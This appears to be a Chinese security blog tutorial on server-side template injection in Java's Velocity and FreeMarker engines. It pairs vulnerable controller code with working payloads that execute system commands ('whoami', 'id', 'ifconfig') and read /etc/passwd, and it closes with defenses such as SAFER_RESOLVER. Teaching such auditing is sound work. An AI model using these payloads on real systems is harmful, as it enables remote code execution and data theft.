java代码审计-ssti
0x01漏洞挖掘
Velocity
- @RequestMapping("/ssti/velocity")
- public String velocity(@RequestParam(name = "content") String content) {
- Velocity.init();
- VelocityContext velocityContext = new VelocityContext();
-
- velocityContext.put("username", "seaii");
-
- StringWriter stringWriter = new StringWriter();
- Velocity.evaluate(velocityContext, stringWriter, "test", content);
- return stringWriter.toString();
- }
利用方式:
#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
FreeMarker
- @RequestMapping("/ssti/freemarker")
- public String freemarker() throws IOException, TemplateException {
- Configuration configuration = new Configuration(Configuration.VERSION_2_3_23);
- configuration.setClassForTemplateLoading(this.getClass(), "/templates");
- Template template = configuration.getTemplate("test.ftl");
-
- Map
rootMap = new HashMap(); - rootMap.put("username", "passwd");
- StringWriter stringWriter = new StringWriter();
- template.process(rootMap, stringWriter);
- return stringWriter.toString();
- }
freemarker与velocity的攻击方式不太一样,freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效,所以一般的利用场景为上传或者修改模版文件。
利用方式如下:
命令执行1:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
命令执行2:
- <#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
- <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >
-
-
- <#list 1..10000 as t>
- <#assign line=br.readLine()!"null">
- <#if line=="null">
- <#break>
- #if>
- ${line}
- ${"
"} - #list>
文件读取:
- <#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
- <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >
-
-
- <#list 1..10000 as t>
- <#assign line=br.readLine()!"null">
- <#if line=="null">
- <#break>
- #if>
- ${line?html}
- ${"
"} - #list>
将上面的payload写入到模版文件保存,然后让freemarker加载即可。
0x02漏洞防御
Velocity
velocity到目前最新版本也没有提供沙盒或者防御方式,只能禁止或严格过滤用户输入进入Velocity.evaluate。
FreeMarker
最简单的方式是使用TemplateClassResolver,文档在这:
https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html

可根据实际需求选择这两种方式,代码实现如下:
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
但这并不是一劳永逸的防御方式,如果配置不当,依然会造成安全问题:
0x03参考链接

点击关注,共同学习!安全狗的自我修养